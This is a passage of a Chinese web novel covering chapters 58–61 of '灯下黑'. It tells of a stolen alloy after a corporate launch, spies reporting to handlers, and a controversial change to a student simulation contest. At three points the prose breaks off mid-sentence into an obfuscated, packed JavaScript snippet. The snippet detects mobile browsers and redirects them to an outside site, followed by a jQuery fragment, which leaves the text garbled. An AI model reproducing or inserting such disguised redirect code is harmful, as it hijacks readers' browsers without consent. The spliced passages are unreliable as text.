他从教这么多年，就没遇上过这种事，批评学生的机会也很有限，总归算是没什么经验，但总不能让冯聿博士独自输出吧，显得他好像包庇自己学院的学生似的。 他危险的眼神又朝傅燃瞥去，就看见对方正低眉顺眼地垂下睫羽，低声开口：“抱歉老师，给你添麻烦了。” 方贺：“……” 行吧，就这样吧，他还能怎么样呢，不过是提心吊胆了好一会，生怕这两小孩在外头被丧心病狂的行凶者毁尸灭迹罢了。 58. 灯下黑（58） 米勒尔的伤势不算严重，接受过治疗之后立刻投入了现场搜索的安排工作中，他心中明白，强盗们的行踪已经彻底从监控中消失，接下来的搜寻不过是无头苍蝇到处乱转罢了。 但他不甘心。 为了这出大戏，他亲力亲为安排了一切，最后一环连他的亲孙子都不知道，结果原本完美的安排被人钻了空子，不仅抢走了无序合金，甚至只是受了点皮外伤，最终全身而退。 他面前的监控画面在不停回播，一个面容身形都被扭曲的人，从一个监控点位走到另一个，却仿佛人间蒸发一般消失在了镜头衔接处。 米勒尔百思不得其解。首先无序合金完全是意外发现，此前根本没有这方面的研究，其次，虽然东西是由崔斯特带回来的，但当时从无人区搜索到的东西很多，全部交到他手里之后，其他人就再也没有插手过。 他不得不承认，那道声音也许只是一个试探，真正暴露的是自己下意识的动作，在那种场合下表现出得重视，才让那个神秘人临时决定下手。 “砰！” 米勒尔狠狠地锤了一下桌面，把周围的人都吓了一跳，伊森面色凝重地站在一旁，心底却不知道在想什么。 那边戴维斯的状况要惨得多，他的手掌被从中砍断，万幸的是掉落的半截手掌还比较完整，这会正在进行清创，准备由治疗异能者帮忙接上，一旁的医生正在做接合指导——没有相关的生理知识，接出来的骨头很大概率是错位的。 麻醉打下去戴维斯的鬼哭狼嚎才弱了下来，嘴里发出微若蚊蝇的哼哼，头歪向一边不敢看自己的伤口。 “先生。”中控室的大门打开，走进来的是安保队长崔斯克以及他的副手林愿，前者面色凝重脚步匆忙，后者脸上倒是十分平静，脚步也不慌不忙。 “回来的客人全部都检查过了，没有发现目标物品，也没有检测到异能修复伤口的痕迹。”崔斯克低声汇报情况。 一般来说，使用异能恢复的血肉在短时间内跟其他肢体是有区别的，在特殊扫描下会呈现白色毛边状，但从发布会场之外回来的十来个客人身上都没有这种痕迹，并且他们的手臂全都没有伤口。 “剩下的客人该怎么处理？” 那位使用“人肉X光”的异能者已经连续扫描十几个人，这是他的极限了，但会场内部还有数千人等待着检查，米勒尔是绝对不会甘心就这么把人都放走的。 通往其他楼层的电梯和门都没有启动过，窗户也只有那个拿走假药剂的人开过，之后都被安保严格把守，所以抢走无序合金的人一定还在现场。 米勒尔陷入了两难。 他不想就这么放弃，但要他此刻绝对不能说出无序合金，当初从无人区回来，只有其中一部分物品被他上报给了研究所，无序合金当然不在其中，现在他搞了这么一出，反而把重要的东西遗失，明面上不会怎样，但暗地里绝对没好果子吃。 “先生？”见米勒尔迟迟不下决定，崔斯克问道。 “祖父，或许我们可以用机器来扫描。”站在一旁的伊森突然开口，表情非常认真，“集团最新的PVX－256安检仪，虽然还没有正式投产，但是已经在走审批程序，可以放心使用，它可以根据物体的外形特征，实现自动报警，我想客人们应该不会带一根试管来参加发布会。” 米勒尔抬眼瞧他，似乎在考虑可行性，不过脑中正在思考他这聪明的孙子究竟猜到了什么，不消片刻，他终于点了点头。 不得不承认，伊森确实是他众多孙辈里最有脑子的一个，或许他此刻已经猜到了药剂从来就只是个幌子，但这不重要，他永远会站在集团利益一方。 但米勒尔并没有要对伊森全盘托出的意思，他仅仅是接受了这个意见，但关于PVX－256的筛选条件，当然要由他亲自来定。 …… 会场内的嘈杂声愈演愈烈，灯光频繁地开关让很多人变得十分紧张，更别提前排的人都清晰看到了戴维斯受伤的画面，如果不是会场内的对外信道全部被屏蔽，各位媒体人手里的通稿已经飞得满天都是了。 “现在到底什么情况，有没有人来解释一下？” “什么时候能走啊？”这是捏着通稿，不断尝试向外发送的媒体。 过了许久，在场很多人的耐心即将告罄，音响里终于响起了声音。 “非常抱歉，在这样的场合出现意外，我谨代表斯集团向大家致以诚挚的歉意，为了保障各位的安全，现在请所有人按照座位次序有序排队，经过门口的安检机后方可离开。”伊森的声音沉沉传来，“此外，烦请各位删除所有的录音录像，并交由安保进行检查，后续情况集团将在官网发布详细公告。” 在场人员的配合程度超出了简初的想象，起初只是一阵突然的吵闹，但很快大家就冷静了下来，也许是想尽早离开这是非之地，受邀而来的客人们开始根据安保的指挥行动起来，不过媒体们就没那么配合了。 小媒体不敢吱声，因为他们可以很轻易被集团封杀，但大媒体就没那么好说话了，不过还没有等他们一起抗议，伊森的声音就再次响起。 “拒不配合的客人将会作为重要嫌疑人，由集团统一移交至联邦军方，以配合后续工作。” 媒体们不约而同的收了声，他们左右看看，想着要是有人出头，就跟着喊两句，却没想到所有人都像鹌鹑一样缩在座位上。 这种袭击事件性质恶劣，就算他们是清白的，一旦被集团以“重要嫌疑人”的身份移交，后面漫长的审查流程不是他们能承受的。 不过是打个工，没必要把自己的未来搭进去。 现场的工作终于有序开展，军校的位置很靠前，所以很快通过安检，回到了米莱顿，将学生们遣散回房间，四位老师满面愁容地聚在一起开小会。 “这么一来，什么优胜奖励也泡汤了吧。”一位老师郁郁开口，回应她的是沉默。 “这也是没办法，谁能想到会发生这样的事，不如说，说能想到有人敢闯进来抢东西，下手还那么黑。” “回去怎么交差？” 四人面面相觑。 “实话实说。”方贺一锤定音，“发生这种事情，研究所肯定很快就会派人来调查，后面就不是我们该管的了。” 甚至学校也没有立场来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12773251|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么。不过这句话他放在心里，没有说出来。 “现在集团的人肯定正忙着，我们离开之前要说一下吗？”冯聿犹豫道。 “说肯定要说，不然一声不吭跑了算怎么回事，不知道以为我们做了什么坏事呢。”方贺拍板道，“不过不是现在，先等最麻烦的这一阵过去吧，孩子们就别去了，下午我们几个登门告别。” 同一时间，几人聚集在左虞珩的房间内。 “老实交代，你们俩干嘛去了？”秦理眉头紧蹙，“去个洗手间这么长时间，不会是遇到危险了吧！” 在秦理眼中，他们三个作战学院的皮糙肉厚，抗打耐摔，而简初作为精神控制系的学生，看起来比他们好欺负多了，发生这种事，外面肯定打得很厉害，尽管简初看起来没有受伤，但也许受到惊吓了呢。 “确实就上了个洗手间，不过……”简初拖长了声音，让秦理的心都提了起来，“在打小游戏，就慢了一点。” 秦理：“……” “然后听到外面有枪声，终端也一直没有信号，我就没敢出去。”简初信口开河，但是非常贴合实际，导致在场人没有一个觉得她在撒谎。 傅燃正垂着眼眸，思考自己是不是可以参考一下这套说辞，不过直到最后也没等到来自好友的关怀。 “以后有什么事还是不要脱离大部队，大不了……我陪你一起去洗手间。”秦理严肃地做出决定，简初打着哈哈让她暂且放弃了这个想法。 “都没事就好，我刚刚喊了送餐，正好一起吃完，再回去休息吧。”左虞珩的话让氛围轻松了不少，难为他还关注着此刻已经到了饭点。 吃过饭后简初回到房间，刚关上门，她的嘴角就突然垂下，面色疲惫地靠坐在宽大的沙发里，没过几秒就软绵绵地滑了下去。 还是躺着舒服。 她动作自然地将坠子从纽扣取出来，沙发紧紧贴着后背，让简初有一种神奇的安全感，大脑中的刺痛也消减了许多，在那么多人面前装作若无其事，还挺费劲的。 假药剂被神秘人抢走了，不知道“协会”发现里面其实是没用的药水会作何反应。 一个套了几层的幌子，完美掩盖了藏在背后的东西，根据当前的情况来看，米勒尔大概是想把这件事完全消弭掉，到时候的集团公告大概也会围绕“强体药剂”被人抢走来写，至于得到它的人会受到怎样的质疑与惩罚，与米勒尔完全不相干。 不过“协会”既然隶属于特战中心，那么对于执行任务的人应该是很信任的，不像她，如果真把假药剂带回去，大概率会被温弗拉抓起来严刑拷打。 说起来，无影怎么还没联系自己？想到这里，简初艰难地从沙发上坐起来，拨出了通讯。 对面迅速接通，好像一直在等她一样。 “苍耳！怎么样了？”无影对她的实力并没有信心，但这人的脑子显然比他的好用很多，所以心底竟然升起一丝微弱的希冀——说不定她拿到了药剂呢！ “我可是好不容易才死里逃生，就不能有点同伴关怀。”简初懒洋洋开口，语气尽显疲态，“一个坏消息，一个好消息，你想先听哪个？” 59. 灯下黑（59） “竟然还有好消息，你别不是在唬我，嗷！”无影说完，发出一声奇怪的痛呼，似乎被人狠狠捶了一下脑袋，再次开口就变得蔫蔫的，“随便哪个都行，你说吧。” “坏消息是，一无所获。”简初叹了口气，“他们打得太凶了，我根本没办法插手，如果没出意外的话，东西应该是被协会的那个人拿走了。” “那好消息呢？” “好消息就是我安全回来了啊，你不为我感到高兴吗？”简初随口答道，换来对面的沉默。 “开个玩笑，你在音响中说的那句话让米勒尔大发雷霆，原先我看他情绪有些不对，所以猜测他在台上掏出来的药剂也许也是假的，但现在看来，只不过是他更担心自己的安全罢了，被人挑衅之后还是没能忍住。”简初再次开口。 “协会的那人对此没有任何反应，只能说对方很确定拿到的是真货。” “所以你当时要返回会场，是发现东西不对吗？”无影开口问道，他到现在都不清楚简初为什么会定下那样的计划，明明那时候米勒尔还没有上台，更没有从兜里掏出那支试管。 “数量不对，索性就回去看看了。”简初当然不能说自己已经把包里的药剂摸了个遍，但还有其他理由可以用来搪塞，“昨天刚刚去参观过，包里的药剂数量比当时在实验室的要少，所以我怀疑真东西早就转移了。” “这样啊。”无影喃喃道。 “不过当时这只是我的一个猜测，不适合作为集体行动的依据。”简初简单补充道，她没有再做更多解释，太过强调反而不妥。 她耳尖地听到对面有非常轻微的交谈声，不过只有两句话，转瞬即逝，看起来无影身边确实一直有人在听着，也许是他的上级，毕竟能随意敲打，肯定不是普通同事。 无影十分郁闷，按照路亚的要求说道：“你这两天写个情况说明，把情况描述清楚发给我，就先这样，回头再联系。” 通讯挂断，他就老老实实缩着脖子，低眉顺眼地朝向自家上级。 “你就是这么跟你的下属交流的？”路亚的声音分不清喜怒，但无影还是没忍住抖了一下，不太聪明的小动物对于危机的感知总是比较敏锐。 “有什么问题吗？”无影小心开口。 “呵，这两天你别干活了，给我滚回去把当初升职的文件拿出来好好看看！”路亚冷笑一声，强制剥夺无影的权限，“你看看你哪有做上司的样子，检讨五千字，不好好反思的话，指不定哪天就得听你的小下属安排工作了。” …… “先生，您找我？”崔斯克独自一人来到集团顶层，不同于往常，今日这里的人员比平时多不少，但办公室里却只有米勒尔一个。 除了安保队长之外，他还有一个鲜为人知的职务，姑且能算是米勒尔的特别助理。 “你来了。”米勒尔淡淡开口，语气跟平常并无不同，但莫名让人起了一身鸡皮疙瘩，“还记得去无人区一共花了多少钱来着，你来给我捋捋。” 他甚至都没让人坐下说话。 崔斯克垂眼，嘴唇微不可察地向下压了压：“前后两次一共三十天，花费了三十七亿，其中包括二十四名死亡人员的抚恤费。” 一共三十人，大半都折在里面，剩下的六人除了他和林愿，全都身受重伤，两人落下残疾，在等待集团的义肢移植。 “三十七亿啊，这次前前后后给了联邦研究所一百零三亿，都够去三个来回了。”米勒尔语气淡淡，“最近做好准备，再去一趟吧。” “先生？”崔斯克猛然抬起眼，一脸不敢置信，身体控制不住前倾，脚都往前踏了一步，“再来一次怕是没有人愿意去了。” “会有的，抚恤金提到三千万，除此之外……”米勒尔脸上突然露出一个阴森的微笑，“我这次会邀请研究所一起去，把我们上次收集到的数据整理一份，交给我。” “你知道什么能说，什么不能说的吧？” 崔斯克的后背已经被冷汗浸湿，心脏似乎感受到那股久违的疼痛，他沉默了两秒，重重低下了头：“我知道了先生，这就去做准备。” “还有名单，先挑二十个给我，剩下我来选，记得把林愿放进去。” …… 接下来的几天有一种恍如隔世的平静，简初每天就只是正常上课，有空去锻炼锻炼，无影那边没有联系过她，斯塔集团暂时也没有发布任何公告，同样的，所有的媒体也是一片安静，似乎那一天发生的所有事都是一场幻梦。 上午课上完，简初莫名其妙地看着一旁坐得端正的秦理，再搭配上食堂空气里缭绕的饭菜气味，怎么看怎么诡异。 “你怎么了……” 话音刚落，原本正襟危坐，表情严肃的秦理，突然软软地瘫在桌面上，蠕动着凑到简初旁边。 “你有没有听说过食堂怪谈，如果吃了红色衣服的工作人员给的饭，第二天就会变成食材，被——”秦理表情阴森森，手指向窗口里忙得热火朝天的红T恤厨师，简初无奈的将她的手按下。 “最近少看点恐怖片，你看看你黑眼圈都到下巴了。” “唉，没意思，人生真的没意思，训练没人一起来，鬼片没人一起看。”秦理嘟嘟囔囔，“也就这两天还有空，等模拟大赛开始，就要保持健康的作息了。” 乌托邦依赖精神链接，如果过于疲惫是有可能会被踢出虚拟世界的，但简初一直觉得很神奇的就是，在乌托邦中休息也能恢复精神力，虽然效率肯定不如在现实中了。 “说到模拟大赛，今天是不是应该发公告了。”简初问道，成功转移了秦理的注意力。 “半小时前刚发。”左虞珩的声音传来，他端着饭盘非常自然地坐在秦理对面，跟他一起的傅燃就自然地坐在最后一个位置里。 “不过我还没来得及仔细看，听说赛制有变化？”左虞珩说着，眼睛看向一边的傅燃。 简初正嚼着嘴里的菜叶子，闻言，迷茫地抬起了头。 一直以来，模拟大赛都是先进行单人对抗，角逐出前一百名之后开启阵营对战，正因如此，每年的比赛战线都会拉得比较长，其中单人对抗赛占了绝大多数时间。 “今年报名的人数太多，为了缩短赛程，单人对抗赛被取消了。”傅燃解释道，取消单人对抗赛算得上是一个很大的改革，却比赛前几天才公布，有些不符合常理。 秦理若有所思地摸摸下巴：“其实这么说来，往年已经有这个苗头了，参赛选手的水平越来越高，搞得大赛时间越来越长，现在参赛人数又创新高，估计很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12817126|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再协调了。” “人总是在不断进步的，每年的毕业生平均素质等级都越来越高，工作也越来越卷了。”左虞珩撇撇嘴，“方老师还说什么年薪百万，骗小孩呢，咱们这水平，放十年前指不定还有可能。” 听着他们闲聊，简初已经迅速打开校内星网，浏览详细公告了，看到文字说明，她不禁发出一声赞叹。 “哇哦！”她从终端里抬起头，“这哪个人才想出来的办法啊！” 秦理的好奇心被点燃，刚想追问，就听见简初摇摇头，啧啧道：“真缺德啊！” 秦理：“……？” 更好奇了怎么回事？ 简初此前将旧赛制反复研究了好几遍，这会一眼就看出来二者的区别。 不，不能说是区别，完全就是不一样。 除了刚刚他们说到的变化外，还有一个很容易被忽视的点，就是比赛结果。原先的赛制中，只要进入百人阵营战，最终就能得到一个确切的名次。 但新赛制中，开局就是大混战，根据评分在每所院校中选拔出前十名参加决赛，其中评级在良好以下的院校，每三所共享十个名额，以防决赛出现学生实力差距过于悬殊的情况。 “开局内斗，牛的。”秦理竖起大拇指。 “不仅如此，决赛只有前三名才有名次，前十统一为优胜，前三十上光荣榜。”简初补充道，“这样看起来感觉竞争会变得更大，毕竟至少要进入前三十名才能留下姓名。” “这样的话，第十一名岂不是很惨，明明差一点就进入前十，但是却和后面的人一样只上了光荣榜。”左虞衡说道。 “不影响。”傅燃慢条斯理地开口，“他不会有机会知道自己是十一名的。” “不，从另一个角度来说，第十名和第四名享受了一样的荣誉。”简初点点头，又往嘴里塞了一块肉，后知后觉地发现周围人动筷子的声音停止了。 “玩笑开大发了，第四名跟第十名，那能是一个水平吗？”秦理瞪大了双眼。 “大赛时间直接缩短到一周，我们这一届好像总是赶上这种大变动，你们说今年会不会爆冷？”左虞衡看起来非常认真地在思考这个可能性，“说真的，有些学生适应力没那么强的，这临时的变动，指不定会有一批人掉坑。” 有人掉坑才有人能挤上来。简初心想。 “我们也得警惕一点。”傅燃提醒道，“我们学校的参赛选手体量很大，同样都是选出十个人，对于几所大院校来说，初赛的难度反而要比决赛要高得多。” 简初吃着饭若有所思，正常来说，对于不同质量的生源地，往往会有不同的标准和指标数量，联邦军校和联邦理工实力超群，应当分配更多的决赛名额才对。 按照现在的赛制，肯定会出现原本在决赛可以达到前三十的学生，但却早早在初赛被筛选掉，怎么看都有些不公平。 “那这样的话，咱们还要继续训练吗？”秦理啧了一声，看起来有些纠结，“离比赛没几天了，还真是杀了咱们一个措手不及。” “我的建议是这几天在乌托邦突击一下。”傅燃提出意见，“但公告已经发了，虚拟对抗一定会人员爆满，能不能排上场地是个问题。” “只能去碰碰运气了，靠手速吧。” 60. 灯下黑（60） “凭什么我们只有十个名额！这个赛制是谁定的？到底想干什么？！”一个穿着军方制服的中年女性满脸怒气，一巴掌拍在桌上直指对面的人。 她年纪有些大了，脸上皱纹很多，但双眼如鹰，直叫对面的男人满头冒冷汗。 “席校长，您消消火。”男人向后面的助理使了个眼色，“赶紧去倒杯茶来……” “我喝不起你那个茶。”席如风冷笑，“刚刚连海在你这的吧，哼，小人得志，给他的宝贝儿子占了大便宜。” “席校长，这话可不敢乱说！” 连海是联邦理工的校长，今年新上任，他儿子当年差一点，没能录取这两所顶尖院校，这个赛制对他来说倒是天上掉馅饼的好事。 “我活了这么大岁数，还没见过这么离谱的比赛！别用你那一套话术来搪塞我，什么教学水平有差别，大家心底都有数，这些孩子有多少是靠的老师教，又有多少是靠的自己的天赋和毅力！”席如风抢先把对方即将说出口的托词否决，教学质量姑且有所差别，但这样的选拔制度简直是把学生们自身的价值贬低到地里，还狠狠碾了几脚。 “您这话说的……”男人擦了擦头上的汗，“天赋是一回事，老师教的技巧也是很重要的，您想想，有些学校连个像样的实验室都没有……” “哦，那我们的学生考上联邦军校，算他们活该？我看以后直接分配入学得了，反正公平嘛，摇号上学最公平了！”席如风丝毫不留情面，“说不定到那个时候，这比赛规则又改了，指不定能给咱们分个百八十个名额呢。” 男人脸上的汗已经像瀑布一样往下流，与联邦理工不同，联邦第一军校地位特殊，席如风是有正经军衔的，他这身份没办法强硬地和她交流，只希望助理给力一点，早点给他把救兵搬来。 说实话，模拟大赛并不是官方赛事，对于联邦军校的学生来说，只是在履历多上好看的一笔，他预料到会有人来找他了解情况，但怎么都没想到会是席如风亲自过来。 再说了，这个赛制也不是他定的啊！ “主……主管！人，不是！茶来了！”助理匆匆忙忙捧着一个茶杯，后头响起军靴触地的声音，一个约莫三十多岁的青年人跟在后面走了进来。 “老师，好久不见。”他朝席如风打了个招呼，“别难为他们了，这次的事比较复杂，去我那聊？” 两人一前一后离开，刚进入办公室，席如风就听见青年人叹了口气，低声开口：“老师，这可能是最后一届模拟大赛了。” …… “你说最后一届比赛，是什么意思？” 昏暗的房间里，空中投射的虚拟屏里出现黎取的脸，蓝色的荧光照亮了傅燃的面庞。 “是在查斯塔集团最近的动向时发现的，这次的赛制改革是几个赞助集团联手推动的，你知道的，模拟大赛举办了十来年，但它归根结底还是一个民间赛事。”黎取的语气有些凝重，“原本联邦是有意向将其转为官方赛事的，但是这次的赛制改革一出，上层出现了相当多的反对声，各大集团对模拟大赛的介入太深，容易出现结果操控的情况。” “这次比赛明面上牵头的并不是斯塔集团，但是米勒尔的小孙子也参加了这次比赛，很难说是不是他在背后操纵的。” 傅燃有些无语地揉了揉额角：“这么大的动作，这次估计要推某个人，大概率是凯文·斯塔，毕竟现在模拟大赛的公信力还是有的，我猜他们也做好就此停办的准备了。” “不提这个，上次的行动分析报告呢？”傅燃转变了话题，两人联系本来就不是为了模拟大赛的事。 “哦，我切一下屏，能看清吗？”黎取的面孔从屏幕里消失，取而代之的是一张模糊的监控截图，里面正是傅燃和另一人对峙的场景。 “能确定的温弗拉人员一共四人，老熟人是飓风的三人行动小组，他们下手把东西抢走，由第四人接应——这个人身份不明，无影使用异能掩盖了他的外形，连性别都无法分辨，没办法在异常库里检索。” “至于你说的在走廊里遇到的幻境，暂时没有找到来源，有可能是混在当时的宾客里没有露面，远程释放的。” “现在有两种猜测，一是这个人在温弗拉地位较高，如你所说他拥有两种异能，一个是闪现，另一个是触手状的攻击手段，同样，在已知的异能中没有找到能够对应的。” 黎取喝了口水，继续开口。 “第二个猜测，这个人是当时在场的宾客或者工作人员，掩藏外形是为了避免被人发现，不过如果是这样，我们就遇到另一个几乎不可能的问题。” 傅燃听到黎取深吸一口气，似乎做足了心理建设才再次开口：“他可以恢复外伤，也就是说他很有可能拥有三种异能。” “但是这个可能性比较小，根据米勒尔现在的说法，他手底下的异能者检查过所有从外头回来的客人，身上都没有外伤恢复的痕迹。” “我个人倾向于这是个新面孔，温弗拉的高层人员，毕竟之前飓风也藏得挺严实的，后来被发现才破罐破摔，不做掩饰了。”黎取说着，一直没有得到傅燃的回复，心下有些惴惴，但还是将屏幕切换了。 下一张是一份检测报告，一眼看上去非常繁杂，黎取直接将它的关键部位放大。 “关于你带回来的药剂，很遗憾，还是假的。” 傅燃原本思索的表情终于出现了变化，他的眉头紧紧蹙起，微微侧了侧脑袋：“假的？但是米勒尔当时……” 他的大脑里飞速重构当时的场景，米勒尔的愤怒完全不像是演戏，东西确实被抢走了。 “温弗拉？” “温弗拉。” 屏幕两头的人异口同声。 “温弗拉的第四人，他得到了米勒尔藏好的东西，按照你所说，当时音响里出现了宣称东西到手的声音，对方的行事作风竟然如此乖张，看来不太好对付。” 黎取根据现有的信息分析道。 “不，逻辑上说不通。”傅燃摇摇头，“他拿到了东西，却依然选择跟我一起去抢夺药剂，如果是我，不会为了个假药剂把自己置于险境。” “他是为了让我相信，药剂是真的。” 傅燃长叹了一口气，第一次感受到如此憋屈，尽管对方受了伤，但最终的胜利并不在自己这边。 “可这样的话，别在全场发那么骚包的宣告就得了，连米勒尔都未必知道东西已经被人偷走了。”黎取十分无语。 “不，因为在那之前，他还没拿到东西。”傅燃低声说道，“那则宣告是一个陷阱，让米勒尔暴露了真正的藏宝地。” 傅燃的大脑中传来一阵阵刺痛，重现的场景仿佛按下了快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12817127|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进，紧接着停顿在他跟那个隐身异能者对战的瞬间。 在同一时间，那人从米勒尔身上抢走了一样东西。 “米勒尔的项链。”傅燃闭上眼，缓缓向后靠在椅背上，“他拿走了米勒尔的项链。” …… 下午四点。 几人一下课就迅速赶往全息中心，但此时包间爆满，他们只能在大厅各自找了几个位置上线。 跟黎取聊完后，傅燃情绪一直不高，当然有一部分是因为他状态不太好，待他抵达竞技馆门口，就看到前所未有的密密麻麻的人潮，以及蹲在一边墙角表情放空的简初。 她上次登出就在竞技馆门口，所以上线根本不用挪窝。 傅燃看她表情不太对，走上前打算问问情况，却发现自己站在对方面前俯视着似乎有些不礼貌，他纠结了两秒，犹豫着在简初一步开外的旁边也蹲下了。 简初：“……？” 见对方投来视线，傅燃斟酌着开口：“怎么蹲在门口，有什么事吗，还是身体不舒服？” 回应他的是简初有些微妙的眼神。 这哥的脸色看起来可不是一般的差，虽然因为长得好看，反倒有一种病弱的美感…… 简初摇摇头，说道：“没有，里面人太多了，所以在这里等你们，倒是你，脸色挺差的。” “我就是有点头疼，过会就好了。”傅燃回答。 简初直直看了他几秒，直到看得傅燃后背有点发毛，才扭过头指向竞技馆门口的人流量统计，算是接受了他的话。 人流量已经达到红色的警戒值，下面还有一行小字，写着请同学们合理规划时间，避免长时间等候。 就这么一会，另外两人终于小跑着过来了。 “感觉今天传送时间有点长，可能是上线的人太多了。”秦理叹了口气，眼睛一转看到蹲在地上昂着头的两位，“呃，你们在干嘛？” “等你们。”简初面不改色地回答，拍拍衣角不存在的灰尘站起身，“让我看看排到哪里了……” 话音未落，旁边就传来一声疑惑地呼唤。 “学姐？”见简初转过脸，莫景打量了她周围的三个人，随后看起来有些低落地垂下眼，“好久不见，过来练习吗？” “啊，莫景，好久不见。”简初抬手跟对方打了招呼，差点顺嘴询问她的身体情况，“这不是模拟大赛的比赛规则变了，所以来临时抱佛脚，不过估计要等好一会。” “啊，再过个一两分钟估计就没事了。”莫景露出一个微笑，“刚刚竞技馆发了公告，这几天只接受四年级及以上的学生，我刚从上一场出来就被禁赛了。” 几句话的功夫，从竞技馆离开的学生明显变多。 “这样，谢谢你告诉我！”简初笑眯了眼，“那你早点回去休息吧，我记得你跟的那个项目……不能过于劳累。” 莫景微微睁大了眼，似乎很意外于简初还记得关于她的事，情绪立刻高涨了一些：“谢谢学姐关心，我这就回去了。” “拜拜。”简初招财猫式举手。 “那各位，我先告辞了。”她转过头，迅速收起笑容，面色平静地跟其他几人打了个草率的招呼，便离开了。 另外三人：“……” 秦理露出一个怀疑人生的表情：“你这个学妹，还挺有个性。” 61. 灯下黑（61） 低年级被暂时禁赛，竞技馆的人流压力立刻少了许多，刚刚附近学生们走动的身体都在不停闪动，感觉随时都会掉线。 作战学院今日还有晚课，所以今天一起打了两场虚拟对抗，就暂时结束了今天的突击训练。简初还顺带指导了他们如何运用精神力才能让思维和行动达到更高的同步率。 作为作战学院的优秀学生，他们的精神力基础也是算很不错了，不过比起精神控制学院的标准，主要差在控制力上。 简初刚刚抵达宿舍门口，就遇上预约的无人机配送。她回到房间反锁房门，才将包裹拆开，里面赫然是一个小巧的首饰盒子。 近期在军校内流行的野性风，以外观朴素、不拘小格的特征吸引了不少追捧者，简初也小小地赶了一把潮流。 她从其中取出一条中等长度的手链，将那颗球型的坠子串了上去，严丝合缝地嵌进手链自带的方形装饰物中央的小坑里。 这小东西可比温弗拉那没用的小方块重要多了。 随后，简初将它缠绕在终端手带上，并将顶端的吊坠塞进了表带的缝隙，她试着甩了甩手，链子纹丝不动，牢牢的，很安心。 …… 直到模拟大赛的前一天，无影都没有来找简初，根据这次的新规则，比赛期间参赛选手不能离开全息中心，到时候再想联系就难如登天了。 难道是原来的计划取消了？还是说找了其他人来做？ 简初皱着眉打开门，就感受到终端突然振动，她低头一看，正是无影的消息。 [在？我马上过来？] 简初扬扬眉毛，说曹操曹操到，不过这次对方居然记得提前通知，而且消息的口吻如此直接简洁，不太像是他的风格啊。 收到她肯定的回答，下一秒，无影的身影就出现在房间里，尽管表情严肃，但简初还是从他身上感受到了垂头丧气，似乎刚被人教训过。 无影确实刚从路亚的办公室离开，他前几天没能联系简初的一部分原因就在于，自己被暂时停职了，直到刚刚汇报完这几天重温升职文件的“心得”，勉强得到认可，才恢复正常工作。 说起来出门还正好遇上一位同僚，对方正用饱含同情的奇怪眼神瞧着他，让人摸不着头脑。 “我还以为之前的任务取消了呢。”简初一脸遗憾地说道。 无影谨记路亚的教育，开口坚决不说废话，致力于打造一个说一不二的上级形象。 “是这样……咳，这次的任务非常重要，只需成功不许失败。” “明天是初赛，在比赛过程中，我们会在乌托邦这次的比赛场地的虚拟坐标中动点手脚，届时比赛会暂停，并且会有医生来检查你们的身体情况，你要做的就是尽可能拖延医生在你这边的时间。” “然后呢？”简初追问。 “然后就不是你该考虑的问题了，你的级别还不够。”无影这次说得斩钉截铁，“等这次任务成功，你应该可以升一级，到时候就能了解更多。” 嘶，就这么几天，这人好像不太好骗了。 “至少具体一点吧，万一我没把控好时间，影响到什么可不负责。”简初说道。 “呃，十分钟？” 无影的声音没有刚刚那么坚定了，简初趁机追问：“不是吧，这你也不知道？” “咳，怎么会。”无影的眼神瞥向另外一边，好像是在看什么旁的东西，不过几秒钟，他又转过来朝向简初，“十分钟，最少最少不能少于七分钟。” “还有，不要引起怀疑，我们没有办法去现场救你。”他补充了一句。 真难为你还想着我的安危，简初心想。不过从他的话里或多或少可以猜测到，温弗拉是想借助这段时间做些什么。 拖延医生的目的，是拖延所有选手重新上线的时间。 所有参赛选手临时暂时比赛接受医生的安全检查，绝对会引起很大轰动，届时所有人的注意力一定都会在选手们的检查结果上，这段时间发生些别的什么，大部分人都无暇顾及。 …… 本次大赛的总会场跟往年一样，依旧在主星中央城区的竞技中心。因为学院星并不接待来客，所以各大院校会开放一条临时信道，接入院校专用星网，实现在主星上远程同步观战。 不过说到底，就算特地跑到学院星也看不到什么有趣的东西，毕竟是线上比赛，只会多一群躺在全息座舱里“呼呼大睡”的学生罢了。 此时，联邦军校的选手们正坐在全息中心的大厅，围观远在主星举办的开幕式，赛事主办方安排了多个团队到各个学校负责相关事宜，整个初赛期他们都要驻在学院星。 赞助商们也都想借着这个机会打广告，现在除了主屏幕是各院校的现场情况，另外两侧的屏幕都在随机播放各家的广告短片，叫人眼花缭乱。 简初双眼放空，精神游离，也许是昨天跟无影通话之后又习惯性做了几个预案，导致夜里做梦一直在解决各种突发情况。 